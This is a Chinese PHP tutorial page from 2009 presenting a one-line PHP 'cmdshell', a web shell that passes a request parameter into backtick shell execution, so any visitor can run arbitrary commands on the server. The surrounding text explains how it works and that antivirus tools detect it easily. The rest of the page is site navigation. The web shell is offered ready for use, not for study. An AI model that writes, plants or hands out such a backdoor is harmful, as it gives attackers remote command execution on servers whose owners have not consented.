繁體中文当前位置: 首页 > 图文教程 > 网络编程 > PHP > php一句话cmdshell新型 (非一句话木马)
- PHP
- discuz Passport 通行证 整合笔记
- flash+php+mysql打造简单留言本教程
- [原创]效率较高的php下读取文本文件的代码
- phpmyadmin的安装与使用图文教程
- IStream与TStream之间的相互转换
- 继续收藏一些PHP常用函数
- php-5.2下php.ini 中文版配置说明
- php单件模式结合命令链模式使用说明
- PHPMailer邮件类利用smtp.163.com发送邮件方法
- PHP编实现程动态图像的创建代码
- php仿ZOL分页类代码
- php仿discuz分页效果代码
- 攻克CakePHP(PHP中的Ruby On Rails框架)图文介绍
- PHP ajax 分页类代码
- PHP和Java 集成开发详解分析 强强联合
- Linux下 php5 MySQL5 Apache2 phpMyAdmin ZendOptimizer安装与配置[图文]
- IIS php环境配置PHP5 MySQL5 ZendOptimizer phpmyadmin安装与配置
- Pear DB 新手入门指南教程
- PHPMailer安装方法及简单实例
- Apache+php+mysql在windows下的安装与配置图解（最新版）
PHP 中的 php一句话cmdshell新型 (非一句话木马)
出处:互联网 整理: 软晨网（RuanChen.com） 发布: 2009-10-12 浏览: 82 ::
收藏到网摘: n/a
php运行时如果遇见字符``(键盘上~符号的下档键)总会尝试着执行``里面包含的命令，并返回命令执行的结果(string类型)；
复制代码 代码如下:
<?php
/*一个新型的php一句话cmdshell(非一句话木马)
//原理:php运行时如果遇见字符``(键盘上~符号的下档键)总会尝试着执行``里面包含的命令，并返回命令执行的结果(string类型)；
//局限性:特征码比较明显，``符号在php中很少用到，杀毒软件很容易以此为特征码扫描到并警报；``里面不能执行php代码；
//write by skyfire
*/
echo `$_REQUEST[id]`;
?>
评论 (0) All
